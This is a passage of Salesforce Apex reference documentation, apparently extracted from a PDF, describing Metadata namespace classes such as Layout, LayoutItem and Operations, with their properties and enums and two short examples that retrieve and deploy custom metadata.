public Metadata.FeedItemTypeEnum feedItemType {get; set;}
Property Value
Type: FeedItemTypeEnum Enum
FeedLayoutFilter Methods
The following are methods for FeedLayoutFilter.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.FeedLayoutFilter.
clone()
Makes a duplicate copy of the Metadata.FeedLayoutFilter.
Signature
Return Value
Type: Object
FeedLayoutFilterPosition Enum
Describes where the feed filters list is included in the layout.
Enum Values
The following are the values of the Metadata.FeedLayoutFilterPosition enum.
Value Description
CenterDropDown As a drop-down list in the center column.
LeftFixed As a fixed list in the left column.
LeftFloat As a floating list in the left column.
FeedLayoutFilterType Enum
The type of feed layout filter.
2052
Enum Values
The following are the values of the Metadata.FeedLayoutFilterType enum.
Value Description
AllUpdates Shows all feed items on a record.
Custom Shows custom feed items.
FeedItemType Shows feed items only for a particular type of activity on the record.
Layout Class
Represents the metadata associated with a page layout.
Namespace
Metadata
Usage
Use this class to access layout metadata components. For more information, see Layout in the Metadata API Developer Guide.
IN THIS SECTION:
Layout Properties
Layout Methods
Layout Properties
The following are properties for Layout.
IN THIS SECTION:
customButtons
The custom buttons for this layout.
customConsoleComponents
emailDefault
Default value for the email checkbox. Only relevant if the showEmailCheckbox property is set.
excludeButtons
List of standard buttons to exclude from this layout.
feedLayout
Represents the values that define the feed view of a feed-based page layout.
headers
Represents the layout headers used for tagging.
2053
layoutSections
The main sections of the layout containing fields, s-controls, and custom links. The order here determines the layout order.
miniLayout
Represents a minilayout, which is used in the mini view of a record in the Console tab, hover details, and event overlays.
multilineLayoutFields
Fields for special multiline layout fields which appear in OpportunityProduct layouts.
platformActionList
The list of actions, and their order, that display in the Salesforce1 action bar for the layout.
quickActionList
The list of quick actions that display in the full Salesforce site for the page layout.
relatedContent
The Related Content section of the page layout.
relatedLists
The related lists for the layout, listed in the order they appear in the user interface.
relatedObjects
The list of related objects that appears in the mini view of the console.
runAssignmentRulesDefault
Default value for the “run assignment rules” checkbox. Only relevant if the showRunAssignmentRulesCheckbox property
is set.
showEmailCheckbox
Controls whether to show the email checkbox. Only allowed on Case, CaseClose, and Task layouts. The default state of checkbox is
controlled by the emailDefault property.
showHighlightsPanel
If set, the highlights panel displays on pages in the Salesforce console.
showInteractionLogPanel
If set, the interaction log displays on pages in the Salesforce console.
showKnowledgeComponent
Only allowed on Case layouts. If set, the Knowledge sidebar displays on cases in the Salesforce console.
showRunAssignmentRulesCheckbox
Controls whether to show the Run Assignment Rules checkbox. Only allowed on Lead and Case layouts. The default state of checkbox
is controlled by the runAssignmentRulesDefault property.
showSolutionSection
Only allowed on CaseClose layout. If set, the built-in solution information section shows up on the page.
showSubmitAndAttachButton
For Cast layouts only. If set, the Submit & Add Attachment button displays on case edit pages to portal users in the Customer Portal.
summaryLayout
The summary layout for this layout.
customButtons
The custom buttons for this layout.
2054
Signature
public List<String> customButtons {get; set;}
Property Value
Type: List<String>
customConsoleComponents
Signature
public Metadata.CustomConsoleComponents customConsoleComponents {get; set;}
Property Value
Type: CustomConsoleComponents Class
emailDefault
Default value for the email checkbox. Only relevant if the showEmailCheckbox property is set.
Signature
public Boolean emailDefault {get; set;}
Property Value
Type: Boolean
excludeButtons
List of standard buttons to exclude from this layout.
Signature
public List<String> excludeButtons {get; set;}
Property Value
Type: List<String>
feedLayout
Represents the values that define the feed view of a feed-based page layout.
Signature
public Metadata.FeedLayout feedLayout {get; set;}
2055
Property Value
Type: Metadata.FeedLayout
headers
Represents the layout headers used for tagging.
Signature
public List<Metadata.LayoutHeader> headers {get; set;}
Property Value
Type: List<Metadata.LayoutHeader>
layoutSections
The main sections of the layout containing fields, s-controls, and custom links. The order here determines the layout order.
Signature
public List<Metadata.LayoutSection> layoutSections {get; set;}
Property Value
Type: List<Metadata.LayoutSection>
miniLayout
Represents a minilayout, which is used in the mini view of a record in the Console tab, hover details, and event overlays.
Signature
public Metadata.MiniLayout miniLayout {get; set;}
Property Value
Type: Metadata.MiniLayout
multilineLayoutFields
Fields for special multiline layout fields which appear in OpportunityProduct layouts.
Signature
public List<String> multilineLayoutFields {get; set;}
Property Value
Type: List<String>
2056
platformActionList
The list of actions, and their order, that display in the Salesforce1 action bar for the layout.
Signature
public Metadata.PlatformActionList platformActionList {get; set;}
Property Value
Type: Metadata.PlatformActionList
quickActionList
The list of quick actions that display in the full Salesforce site for the page layout.
Signature
public Metadata.QuickActionList quickActionList {get; set;}
Property Value
Type: Meatadata.QuickActionL.
relatedContent
The Related Content section of the page layout.
Signature
public Metadata.RelatedContent relatedContent {get; set;}
Property Value
Type: Metadata.RelatedContent
relatedLists
The related lists for the layout, listed in the order they appear in the user interface.
Signature
public List<Metadata.RelatedListItem> relatedLists {get; set;}
Property Value
Type: List<Metadata.RelatedListItem>
relatedObjects
The list of related objects that appears in the mini view of the console.
2057
Signature
public List<String> relatedObjects {get; set;}
Property Value
Type: List<String>
runAssignmentRulesDefault
Default value for the “run assignment rules” checkbox. Only relevant if the showRunAssignmentRulesCheckbox property is
set.
Signature
public Boolean runAssignmentRulesDefault {get; set;}
Property Value
Type: Boolean
showEmailCheckbox
Controls whether to show the email checkbox. Only allowed on Case, CaseClose, and Task layouts. The default state of checkbox is
controlled by the emailDefault property.
Signature
public Boolean showEmailCheckbox {get; set;}
Property Value
Type: Boolean
showHighlightsPanel
If set, the highlights panel displays on pages in the Salesforce console.
Signature
public Boolean showHighlightsPanel {get; set;}
Property Value
Type: Boolean
showInteractionLogPanel
If set, the interaction log displays on pages in the Salesforce console.
2058
Signature
public Boolean showInteractionLogPanel {get; set;}
Property Value
Type: Boolean
showKnowledgeComponent
Only allowed on Case layouts. If set, the Knowledge sidebar displays on cases in the Salesforce console.
Signature
public Boolean showKnowledgeComponent {get; set;}
Property Value
Type: Boolean
showRunAssignmentRulesCheckbox
Controls whether to show the Run Assignment Rules checkbox. Only allowed on Lead and Case layouts. The default state of checkbox
is controlled by the runAssignmentRulesDefault property.
Signature
public Boolean showRunAssignmentRulesCheckbox {get; set;}
Property Value
Type: Boolean
showSolutionSection
Only allowed on CaseClose layout. If set, the built-in solution information section shows up on the page.
Signature
public Boolean showSolutionSection {get; set;}
Property Value
Type: Boolean
showSubmitAndAttachButton
For Cast layouts only. If set, the Submit & Add Attachment button displays on case edit pages to portal users in the Customer Portal.
Signature
public Boolean showSubmitAndAttachButton {get; set;}
2059
Property Value
Type: Boolean
summaryLayout
The summary layout for this layout.
Signature
public Metadata.SummaryLayout summaryLayout {get; set;}
Property Value
Type: Metadata.SummaryLayout
Layout Methods
The following are methods for Layout.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.Layout.
clone()
Makes a duplicate copy of the Metadata.Layout.
Signature
Return Value
Type: Object
LayoutColumn Class
Represents the items in a column within a layout section.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “LayoutColumn” in the Metadata
2060
IN THIS SECTION:
LayoutColumn Properties
LayoutColumn Methods
LayoutColumn Properties
The following are properties for LayoutColumn.
IN THIS SECTION:
layoutItems
The individual items within a column (ordered from top to bottom).
reserved
This field is reserved for Salesforce.
layoutItems
The individual items within a column (ordered from top to bottom).
Signature
public List<Metadata.LayoutItem> layoutItems {get; set;}
Property Value
Type: List<Metadata.LayoutItem>
reserved
This field is reserved for Salesforce.
Signature
public String reserved {get; set;}
Property Value
Type: String
LayoutColumn Methods
The following are methods for LayoutColumn.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.LayoutColumn.
2061
clone()
Makes a duplicate copy of the Metadata.LayoutColumn.
Signature
Return Value
Type: Object
LayoutHeader Enum
Represents tagging types used for Metadata.Layout.headers
Enum Values
The following are the values of the Metadata.LayoutHeader enum.
Value Description
PersonalTagging Tag is set to private user.
PublicTagging Tag is viewable to any user who can access the record.
LayoutItem Class
Represents the valid values that define a layout item.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “LayoutItem” in the Metadata
IN THIS SECTION:
LayoutItem Properties
LayoutItem Methods
LayoutItem Properties
The following are properties for LayoutItem.
2062
IN THIS SECTION:
analyticsCloudComponent
A Wave Analytics dashboard component on a page.
behavior
Determines the field behavior.
canvas
References a canvas app.
component
References a component.
customLink
The custom link reference.
emptySpace
Controls if this layout item is a blank space.
field
The field name reference, relative to the layout, for example “Description” or “MyField__c”.
height
For s-controls and pages only, the height in pixels.
page_x
Reference to a Visualforce page.
reportChartComponent
Refers to a report chart that you can add to a standard or custom object page.
scontrol
Reference to an s-control.
showLabel
For s-control and pages only, whether to show the label.
showScrollbars
For s-control and pages only, whether to show scrollbars.
width
For s-control and pages only, the width in pixels or percent. Pixel values are simply the number of pixels, for example, 500. Percentage
values must include the percent sign, for example, 20%.
analyticsCloudComponent
A Wave Analytics dashboard component on a page.
Signature
public Metadata.AnalyticsCloudComponentLayoutItem analyticsCloudComponent {get; set;}
Property Value
Type: Metadata.AnalyticsCloudComponentLayoutItem
2063
behavior
Determines the field behavior.
Signature
public Metadata.UiBehavior behavior {get; set;}
Property Value
Type: Metadata.UiBehavior
canvas
References a canvas app.
Signature
public String canvas {get; set;}
Property Value
Type: String
component
References a component.
Signature
public String component {get; set;}
Property Value
Type: String
customLink
Signature
public String customLink {get; set;}
Property Value
Type: String
emptySpace
Controls if this layout item is a blank space.
2064
Signature
public Boolean emptySpace {get; set;}
Property Value
Type: Boolean
field
The field name reference, relative to the layout, for example “Description” or “MyField__c”.
Signature
Property Value
Type: String
height
For s-controls and pages only, the height in pixels.
Signature
Property Value
Type: Integer
page_x
Reference to a Visualforce page.
Signature
Property Value
Type: String
reportChartComponent
Refers to a report chart that you can add to a standard or custom object page.
Signature
public Metadata.ReportChartComponentLayoutItem reportChartComponent {get; set;}
2065
Property Value
Type: Metadata.ReportChartComponentLayoutItem
scontrol
Reference to an s-control.
Signature
public String scontrol {get; set;}
Property Value
Type: String
showLabel
For s-control and pages only, whether to show the label.
Signature
public Boolean showLabel {get; set;}
Property Value
Type: Boolean
showScrollbars
For s-control and pages only, whether to show scrollbars.
Signature
public Boolean showScrollbars {get; set;}
Property Value
Type: Boolean
width
For s-control and pages only, the width in pixels or percent. Pixel values are simply the number of pixels, for example, 500. Percentage
values must include the percent sign, for example, 20%.
Signature
public String width {get; set;}
Property Value
Type: String
2066
LayoutItem Methods
The following are methods for LayoutItem.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.LayoutItem.
clone()
Makes a duplicate copy of the Metadata.LayoutItem.
Signature
Return Value
Type: Object
LayoutSection Class
Represents a section of a page layout, such as the Custom Links section.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “LayoutSection” in the Metadata
IN THIS SECTION:
LayoutSection Properties
LayoutSection Methods
LayoutSection Properties
The following are properties for LayoutSection.
IN THIS SECTION:
customLabel
Indicates if this section's label is custom or standard (built-in).
detailHeading
Controls if this section appears in the detail page.
2067
editHeading
Controls if this section appears in the edit page.
label
The label; either standard or custom, based on the customLabel property.
layoutColumns
Lists the layout columns. You can have one, two, or three columns, ordered left to right, are possible.
style
The style of the layout for this section.
customLabel
Indicates if this section's label is custom or standard (built-in).
Signature
public Boolean customLabel {get; set;}
Property Value
Type: Boolean
detailHeading
Controls if this section appears in the detail page.
Signature
public Boolean detailHeading {get; set;}
Property Value
Type: Boolean
editHeading
Controls if this section appears in the edit page.
Signature
public Boolean editHeading {get; set;}
Property Value
Type: Boolean
label
The label; either standard or custom, based on the customLabel property.
2068
Signature
Property Value
Type: String
layoutColumns
Lists the layout columns. You can have one, two, or three columns, ordered left to right, are possible.
Signature
public List<Metadata.LayoutColumn> layoutColumns {get; set;}
Property Value
Type: List<Metadata.LayoutColumn>
style
The style of the layout for this section.
Signature
public Metadata.LayoutSectionStyle style {get; set;}
Property Value
Type: Metadata.LayoutSectionStyle
LayoutSection Methods
The following are methods for LayoutSection.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.LayoutSection.
clone()
Makes a duplicate copy of the Metadata.LayoutSection.
Signature
Return Value
Type: Object
2069
LayoutSectionStyle Enum
Describes the possible styles for a layout section.
Enum Values
The following are the values of the Metadata.LayoutSectionStyle enum.
Value Description
CustomLinks Contains custom links only
OneColumn One column
TwoColumnsLeftToRight Two columns, tab goes left to right
TwoColumnsTopToBottom Two columns, tab goes top to bottom
Metadata Class
An abstract base class that represents a custom metadata component.
Namespace
Metadata
Usage
You can’t create instances of this abstract class. Instead, create an instance of a specific custom metadata component class that derives
from Metadata.Metadata, such as Metadata.CustomMetadata. For more information, see Metadata in the Metadata API
Developer Guide.
IN THIS SECTION:
Metadata Properties
Metadata Methods
Metadata Properties
The following are properties for Metadata.
IN THIS SECTION:
fullName
The full name of the custom metadata, which can include the namespace, type, and component name.
fullName
The full name of the custom metadata, which can include the namespace, type, and component name.
2070
Signature
Property Value
Type: String
The format of the full name can include the namespace, metadata type, and metadata component name. If you’re updating components
in a namespace, you also need to qualify the namespace for the component in the full name. For example, the full name for a custom
metadata "MDType1__mdt" component named "Component1" that is contained in the "myPackage" namespace is
"myPackage__MDType1__mdt.myPackage__Component1". For more information on full name formats for different metadata types,
see reference documentation on the metadata types in the Metadata API Developer Guide.
Metadata Methods
The following are methods for Metadata.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.Metadata.
clone()
Makes a duplicate copy of the Metadata.Metadata.
Signature
Return Value
Type: Object
MetadataType Enum
Represents the custom metadata components available in Apex.
Enum Values
The following are the values of the Metadata.MetadataType enum.
Value Description
CustomMetadata Records of custom metadata types
Layout Layouts
2071
MetadataValue Class
An abstract base class that represents a custom metadata component field.
Namespace
Metadata
Usage
You can’t create instances of this abstract class. Instead, create an instance of a specific custom metadata component value class that
derives from Metadata.MetadataValue, such as Metadata.CustomMetadataValue.
IN THIS SECTION:
MetadataValue Methods
MetadataValue Methods
The following are methods for MetadataValue.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.MetadataValue.
clone()
Makes a duplicate copy of the Metadata.MetadataValue.
Signature
Return Value
Type: Object
MiniLayout Class
Represents a mini view of a record in the Console tab, hover details, and event overlays.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “MiniLayout” in the Metadata
2072
IN THIS SECTION:
MiniLayout Properties
MiniLayout Methods
MiniLayout Properties
The following are properties for MiniLayout.
IN THIS SECTION:
fields
The fields for the mini-layout, listed in the order they appear in the UI. Fields that appear in the mini-layout must appear in the main
layout.
relatedLists
The mini related lists, listed in the order they appear in the UI. You cannot set sorting on mini related lists. Fields that appear in the
mini related lists must appear in the main layout.
fields
The fields for the mini-layout, listed in the order they appear in the UI. Fields that appear in the mini-layout must appear in the main
layout.
Signature
public List<String> fields {get; set;}
Property Value
Type: List<String>
relatedLists
The mini related lists, listed in the order they appear in the UI. You cannot set sorting on mini related lists. Fields that appear in the mini
related lists must appear in the main layout.
Signature
public List<Metadata.RelatedListItem> relatedLists {get; set;}
Property Value
Type: List<Metadata.RelatedListItem>
MiniLayout Methods
The following are methods for MiniLayout.
2073
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.MiniLayout.
clone()
Makes a duplicate copy of the Metadata.MiniLayout.
Signature
Return Value
Type: Object
Operations Class
Represents a class to execute metadata operations, such as retrieving or deploying custom metadata.
Namespace
Metadata
Usage
Use the Metadata.Operations class to execute metadata operations. For more information on use cases and restrictions of
metadata operations in Apex, see Metadata.
Example: Retrieve Metadata

The following example retrieves the “MyTestCustomMDType” custom metadata record from the subscriber org, and inspects the custom
fields.
public class ReadMetadata {
public void retrieveMetadata () {
// List fullnames of components we want to retrieve
List<String> componentNameList =
new List<String>{'ISVNamespace__TestCustomMDType.MyTestCustomMDType'};
// Retrieve components that are records of custom metadata types

// based on name
List<Metadata.Metadata> components = Metadata.Operations.retrieve(
Metadata.MetadataType.CustomMetadata, componentNameList);
Metadata.CustomMetadata customMetadataRecord = (Metadata.CustomMetadata)
components.get(0);
// Check fields of retrieved component

List<Metadata.CustomMetadataValue> values = customMetadataRecord.values;
for (integer i = 0; i < values.size(); i++) {
if (values.get(i).field == 'testField__c' &&
2074
values.get(i).value == 'desired value') {

// ...process accordingly...
}
}
}
}
Example: Deploy Metadata

The following example uses the Metadata API in Apex to update the customField custom field value of the MetadataRecordName custom
metadata record and deploy this change into the subscriber org. Because the deployment is asynchronous, you must provide a callback
class that implements the Metadata.DeployCallback interface, which is then used when the queued deployment completes.
public class CreateMetadata{
public void updateAndDeployMetadata() {
// Setup custom metadata to be created in the subscriber org.
Metadata.CustomMetadata customMetadata = new Metadata.CustomMetadata();
customMetadata.fullName = 'ISVNamespace__MetadataTypeName.MetadataRecordName';

customField.field = 'customField__c';
customField.value = 'New value';
Metadata.DeployContainer mdContainer = new Metadata.DeployContainer();

mdContainer.addMetadata(customMetadata);
// Setup deploy callback, MyDeployCallback implements

// the Metadata.DeployCallback interface (code for
// this class not shown in this example)
MyDeployCallback callback = new MyDeployCallback();
// Enqueue custom metadata deployment

Id jobId = Metadata.Operations.enqueueDeployment(mdContainer, callback);
}
}
IN THIS SECTION:
Operations Methods
Operations Methods
The following are methods for Operations.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.Operations.
enqueueDeployment(container, callback)
Deploys custom metadata components asynchronously.
2075
retrieve(type, fullNames)
Retrieves a list of custom metadata components.
clone()
Makes a duplicate copy of the Metadata.Operations.
Signature
Return Value
Type: Object
enqueueDeployment(container, callback)
Deploys custom metadata components asynchronously.
Signature
public static Id enqueueDeployment(Metadata.DeployContainer container,
Metadata.DeployCallback callback)
Parameters
container
Type: Metadata.DeployContainer
Container that contains the set of metadata components to deploy.
callback
Type: Metadata.DeployCallback
A class that implements the Metadata.DeployCallback interface. Used by Salesforce to return information about the
deployment results.
Return Value
Type: Id
ID of deployment request.
retrieve(type, fullNames)
Retrieves a list of custom metadata components.
Signature
public static List<Metadata.Metadata> retrieve(Metadata.MetadataType type, List<String>
fullNames)
2076
Parameters
type
Type: Metadata.MetadataType
The metadata component type.
fullNames
Type: List<String>
A list of component names to retrieve. For information on component name formats, see Metadata.fullName().
Return Value
Type: List<Metadata.Metadata>
PlatformActionList Class
Represents the list of actions, and their order, that display in the Salesforce1 action bar for the layout.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “PlatformActionList” in the
IN THIS SECTION:
PlatformActionList Properties
PlatformActionList Methods
PlatformActionList Properties
The following are properties for PlatformActionList.
IN THIS SECTION:
actionListContext
The context of the action list.
platformActionListItems
The actions in the platform action list.
relatedSourceEntity
When the actionListContext property is “RelatedList” or” “RelatedListRecord”, this field represents the API name of the
related list to which the action belongs.
actionListContext
The context of the action list.
2077
Signature
public Metadata.PlatformActionListContextEnum actionListContext {get; set;}
Property Value
Type: Metadata.PlatformActionListContextEnum
platformActionListItems
The actions in the platform action list.
Signature
public List<Metadata.PlatformActionListItem> platformActionListItems {get; set;}
Property Value
Type: List<Metadata.PlatformActionListItem>
relatedSourceEntity
When the actionListContext property is “RelatedList” or” “RelatedListRecord”, this field represents the API name of the related
list to which the action belongs.
Signature
public String relatedSourceEntity {get; set;}
Property Value
Type: String
PlatformActionList Methods
The following are methods for PlatformActionList.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.PlatformActionList.
clone()
Makes a duplicate copy of the Metadata.PlatformActionList.
Signature
2078
Return Value
Type: Object
PlatformActionListContextEnum Enum
Describes the different contexts of action lists.
Enum Values
The following are the values of the Metadata.PlatformActionListContextEnum enum.
Value Description
Assistant Assistant context.
BannerPhoto Banner photo context.
Chatter Chatter context.
Dockable Dockable context.
FeedElement Feed element context.
Flexipage Flexipage context.
Global_x Global context.
ListView Listview context.
ListViewDefinition Listview definition context.
ListViewRecord Listview record context.
Lookup Lookup context.
MruList MRU list context.
MruRow MRU row context.
ObjectHomeChart Object home chart context.
Photo Photo context
Record Record context.
RecordEdit Record edit context
RelatedList Related list context.
RelatedListRecord Related list record context.
PlatformActionListItem Class
Represents an action in the platform action list for a layout.
2079
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “PlatformActionListItem” in the
IN THIS SECTION:
PlatformActionListItem Properties
PlatformActionListItem Methods
PlatformActionListItem Properties
The following are properties for PlatformActionListItem.
IN THIS SECTION:
actionName
The API name for the action in the list.
actionType
The type of action.
sortOrder
The placement of the action in the list.
subtype
The subtype of the action.
actionName
The API name for the action in the list.
Signature
public String actionName {get; set;}
Property Value
Type: String
actionType
The type of action.
Signature
public Metadata.PlatformActionTypeEnum actionType {get; set;}
2080
Property Value
Type: Metadata.PlatformActionTypeEnum
sortOrder
The placement of the action in the list.
Signature
public Integer sortOrder {get; set;}
Property Value
Type: Integer
subtype
The subtype of the action.
Signature
public String subtype {get; set;}
Property Value
Type: String
PlatformActionListItem Methods
The following are methods for PlatformActionListItem.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.PlatformActionListItem.
clone()
Makes a duplicate copy of the Metadata.PlatformActionListItem.
Signature
Return Value
Type: Object
2081
PlatformActionTypeEnum Enum
The type of action for a PlatformActionListItem.
Enum Values
The following are the values of the Metadata.PlatformActionTypeEnum enum.
Value Description
ActionLink An indicator on a feed element that targets an API, a web page, or a file, represented
by a button in the Salesforce Chatter feed UI.
CustomButton When clicked, opens a URL or a Visualforce page in a window or executes JavaScript.
InvocableAction An invocable action such as posting to Chatter.
ProductivityAction Productivity actions are predefined by Salesforce and are attached to a limited set
of objects. You can’t edit or delete productivity actions.
QuickAction A global or object-specific action.
StandardButton A predefined Salesforce button such as New, Edit, and Delete.
PrimaryTabComponents Class
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “PrimaryTabComponents” in
the Metadata API Developer Guide.
IN THIS SECTION:
PrimaryTabComponents Properties
PrimaryTabComponents Methods
PrimaryTabComponents Properties
The following are properties for PrimaryTabComponents.
IN THIS SECTION:
component
Represents a custom console component (Visualforce page, lookup field, or related lists) on a section of a page layout.
2082
containers
Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce
console.
component
Signature
public List<Metadata.ConsoleComponent> component {get; set;}
Property Value
Type: List<Metadata.ConsoleComponent>
containers
Represents a location and style in which to display more than one custom console component on the sidebars of the Salesforce console.
Signature
public List<Metadata.Container> containers {get; set;}
Property Value
Type: List<Metadata.Container>
PrimaryTabComponents Methods
The following are methods for PrimaryTabComponents.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.PrimaryTabComponents.
clone()
Makes a duplicate copy of the Metadata.PrimaryTabComponents.
Signature
Return Value
Type: Object
2083
QuickActionList Class
Represents the list of actions associated with the page layout.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “QuickActionList” in the Metadata
IN THIS SECTION:
QuickActionList Properties
QuickActionList Methods
QuickActionList Properties
The following are properties for QuickActionList.
IN THIS SECTION:
quickActionListItems
List of QuickActionList objects.
quickActionListItems
List of QuickActionList objects.
Signature
public List<Metadata.QuickActionListItem> quickActionListItems {get; set;}
Property Value
Type: List<Metadata.QuickActionListItem>
QuickActionList Methods
The following are methods for QuickActionList.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.QuickActionList.
2084
clone()
Makes a duplicate copy of the Metadata.QuickActionList.
Signature
Return Value
Type: Object
QuickActionListItem Class
Represents an action in the QuickActionList.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “QuickActionListItem” in the
IN THIS SECTION:
QuickActionListItem Properties
QuickActionListItem Methods
QuickActionListItem Properties
The following are properties for QuickActionListItem.
IN THIS SECTION:
quickActionName
The API name of the action.
quickActionName
The API name of the action.
Signature
public String quickActionName {get; set;}
Property Value
Type: String
2085
QuickActionListItem Methods
The following are methods for QuickActionListItem.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.QuickActionListItem.
clone()
Makes a duplicate copy of the Metadata.QuickActionListItem.
Signature
Return Value
Type: Object
RelatedContent Class
Represents the Mobile Cards section of the page layout.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “RelatedContent” in the Metadata
IN THIS SECTION:
RelatedContent Properties
RelatedContent Methods
RelatedContent Properties
The following are properties for RelatedContent.
IN THIS SECTION:
relatedContentItems
A list of layout items in the Mobile Cards section of the page layout.
2086
relatedContentItems
A list of layout items in the Mobile Cards section of the page layout.
Signature
public List<Metadata.RelatedContentItem> relatedContentItems {get; set;}
Property Value
Type: List<Metadata.RelatedContentItem>
RelatedContent Methods
The following are methods for RelatedContent.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.RelatedContent.
clone()
Makes a duplicate copy of the Metadata.RelatedContent.
Signature
Return Value
Type: Object
RelatedContentItem Class
Represents an individual item in the RelatedContent list.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “RelatedContentItem” in the
IN THIS SECTION:
RelatedContentItem Properties
RelatedContentItem Methods
2087
RelatedContentItem Properties
The following are properties for RelatedContentItem.
IN THIS SECTION:
layoutItem
An individual layout item in the Mobile Cards section.
layoutItem
An individual layout item in the Mobile Cards section.
Signature
public Metadata.LayoutItem layoutItem {get; set;}
Property Value
Type: Metadata.LayoutItem
RelatedContentItem Methods
The following are methods for RelatedContentItem.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.RelatedContentItem.
clone()
Makes a duplicate copy of the Metadata.RelatedContentItem.
Signature
Return Value
Type: Object
RelatedList Class
Represents related list custom components on the sidebars of the Salesforce console.
Namespace
Metadata
2088
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “RelatedList” in the Metadata
IN THIS SECTION:
RelatedList Properties
RelatedList Methods
RelatedList Properties
The following are properties for RelatedList.
IN THIS SECTION:
hideOnDetail
When set to true, the related list is hidden from detail pages where it appears as a component to prevent duplicate information from
showing.
name
The name of the component as it appears to console users.
hideOnDetail
When set to true, the related list is hidden from detail pages where it appears as a component to prevent duplicate information from
showing.
Signature
public Boolean hideOnDetail {get; set;}
Property Value
Type: Boolean
name
The name of the component as it appears to console users.
Signature
Property Value
Type: String
RelatedList Methods
The following are methods for RelatedList.
2089
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.RelatedList.
clone()
Makes a duplicate copy of the Metadata.RelatedList.
Signature
Return Value
Type: Object
RelatedListItem Class
Represents an item in the related list in a page layout.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see “RelatedListItem” in the Metadata
IN THIS SECTION:
RelatedListItem Properties
RelatedListItem Methods
RelatedListItem Properties
The following are properties for RelatedListItem.
IN THIS SECTION:
customButtons
A list of custom buttons used in the related list.
excludeButtons
A list of excluded related-list buttons.
fields
A list of fields displayed in the related list. Uses aliases instead of field or API names.
relatedList
The name of the related list.
2090
sortField
The name of the field used for sorting.
sortOrder
When sortField is set, the sortOrder property determines the sort order.
customButtons
A list of custom buttons used in the related list.
Signature
public List<String> customButtons {get; set;}
Property Value
Type: List<String>
For more information, see “Define Custom Buttons and Links” in the Salesforce online help.
excludeButtons
A list of excluded related-list buttons.
Signature
public List<String> excludeButtons {get; set;}
Property Value
Type: List<String>
fields
A list of fields displayed in the related list. Uses aliases instead of field or API names.
Signature
public List<String> fields {get; set;}
Property Value
Type: List<String>
relatedList
The name of the related list.
Signature
public String relatedList {get; set;}
2091
Property Value
Type: String
sortField
The name of the field used for sorting.
Signature
public String sortField {get; set;}
Property Value
Type: String
sortOrder
When sortField is set, the sortOrder property determines the sort order.
Signature
public Metadata.SortOrder sortOrder {get; set;}
Property Value
Type: Metadata.SortOrder
RelatedListItem Methods
The following are methods for RelatedListItem.
IN THIS SECTION:
clone()
Makes a duplicate copy of the Metadata.RelatedListItem.
clone()
Makes a duplicate copy of the Metadata.RelatedListItem.
Signature
Return Value
Type: Object
2092
ReportChartComponentLayoutItem Class
Represents the settings for a report chart on a standard or custom page.
Namespace
Metadata
Usage
Use this class when accessing Metadata.Layout metadata components. For more information, see
“ReportChartComponentLayoutItem” in the Metadata API Developer Guide.
IN THIS SECTION:
ReportChartComponentLayoutItem Properties
ReportChartComponentLayoutItem Methods
ReportChartComponentLayoutItem Properties
The following are properties for ReportChartComponentLayoutItem.
IN THIS SECTION:
cacheData
Indicates whether to use cached data when displaying the chart. When the attribute is set to true, data is cached for 24 hours. When
the attribute is set to false, the report is run every time the page is refreshed.
contextFilterableField
Unique development name of the field by which a report chart is filtered to return data relevant to the page. If set, the ID field for
the parent object of the page or report type is the chart data filter. The parent object for the report type and the page must match
for a chart to return relevant data.
error
Error string that is populated only when an error occurs in the underlying report.
hideOnError
Controls whether users see a chart that has an error. When an error occurs and this attribute is not set, the chart doesn’t show any
data except the error. Set the attribute to true to hide the chart from a page on error.
includeContext
If true, filters the report chart to return data that’s relevant to the page.
reportName
Unique development name of a report that includes a chart.
showTitle
If true, applies the title from the report to the chart.
size
Size of the displayed chart. The default is medium.
2093
cacheData
Indicates whether to use cached data when displaying the chart. When the attribute is set to true, data is cached for 24 hours. When
the attribute is set to false, the report is run every time the page is refreshed.
Signature
public Boolean cacheData {get; set;}
Property Value
Type: Boolean
contextFilterableField
Unique development name of the field by which a report chart is filtered to return data relevant to the page. If set, the ID field for the
parent object of the page or report type is the chart data filter. The parent object for the report type and the page must match for a chart
to return relevant data.
Signature
public String contextFilterableField {get; set;}
Property Value
Type: String
error
Error string that is populated only when an error occurs in the underlying report.
Signature
Property Value
Type: String
hideOnError
Controls whether users see a chart that has an error. When an error occurs and this attribute is not set, the chart doesn’t show any data
except the error. Set the attribute to true to hide the chart from a page on error.
Signature
public Boolean hideOnError {get; set;}
Property Value
Type: Boolean
2094
includeContext
If true, filters the report chart to return data that’s relevant to the page.
Signature
public Boolean includeContext {get; set;}
Property Value
Type: Boolean
reportName
